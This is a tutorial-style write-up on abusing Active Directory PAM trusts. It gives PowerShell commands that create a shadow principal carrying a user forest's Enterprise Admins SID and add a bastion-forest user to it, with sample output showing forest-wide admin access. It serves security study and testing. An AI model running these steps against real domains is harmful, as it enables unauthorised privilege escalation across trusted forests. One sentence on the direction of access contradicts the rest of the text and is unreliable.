Abusing PAM Trusts

Privileged Access Management (PAM) facilitates the administration of an existing User/Production Forest by leveraging a Bastion Forest, also referred to as an Administrative Forest. This setup involves establishing a one-way PAM trust between the Bastion Forest and the existing User Forest. Within this architecture, users in the Bastion Forest can be associated with privileged groups such as Domain Admins and Enterprise Admins in the user forest, all without necessitating modifications to group memberships or Access Control Lists (ACLs)

The mechanism behind this approach relies on the creation of Shadow security principals (security principals that exists in a trusted domain but appears as if it also exists in the local domain) within the Bastion Forest. These shadow principals are mapped to Security Identifiers (SIDs) for high-privilege groups in the user forest. By adding users from the Bastion Forest as members of these shadow security principals, they inherit the associated privileges without direct alterations to group memberships or ACL configurations. This strategic implementation allows for centralized management of privileged access while maintaining security and minimizing the risk of unauthorized access.

While the security principals are authenticated in the trusted domain, they might not have an actual corresponding user account in the trusted domain so shadow principals are created in the trusting domain to represent these security principals from the trusted domain.

Let's imagine the following setup

So we have a central.com bastion forest that manages the first.com, second.com and third.com user forests. As always, the direction of access is the opposite of the direction of trust so the user forests will be the ones accessing the bastion one.

The attack consists in creating a shadow principal object within the bastion forest, this principal is configured to contain the Enterprise Admins SID from the user forests allowing for complete compromise of those as well. To perform the technique we need to

• Obtain the Enterprise Admins or Domain Admins SID of User forest

$ShadowPrincipalSid = (Get-ADGroup -Identity 'Enterprise Admins' -Properties ObjectSID -Server first.com).ObjectSID

• Create a Shadow Principal in Bastion forest with the obtained SID of User forest

$Container = 'CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=central,DC=com'

# create the shadow principal
New-ADObject -Type msDS-ShadowPrincipal -Name "Otter" -Path $Container -OtherAttributes @{'msDS-ShadowPrincipalSid'= $ShadowPrincipalSid}

• Make a user from Bastion forest member of the created Shadow Principal

# add a user from bastion forest to an existing bastion forest's shadow security principal container named Otter
Set-ADObject -Identity "CN=Otter,CN=Shadow Principal Configuration,CN=Services,CN=Configuration,DC=central,DC=com" -Add @{'member'="CN=Administrator,CN=Users,DC=central,DC=com"} -Verbose

Now we can check if the shadow principal is there

Get-ADObject -SearchBase ("CN=Shadow Principal Configuration,CN=Services," + (Get-ADRootDSE).configurationNamingContext) -Filter * -Properties * | select Name,member,msDS-ShadowPrincipalSid | fl

<SNIP>

Name                    : Otter
member                  : {CN=Administrator,CN=Users,DC=central,DC=com}
msDS-ShadowPrincipalSid : S-1-5-21-1490426177-2790079739-1572189234-519

At this point we have full access to the user forests.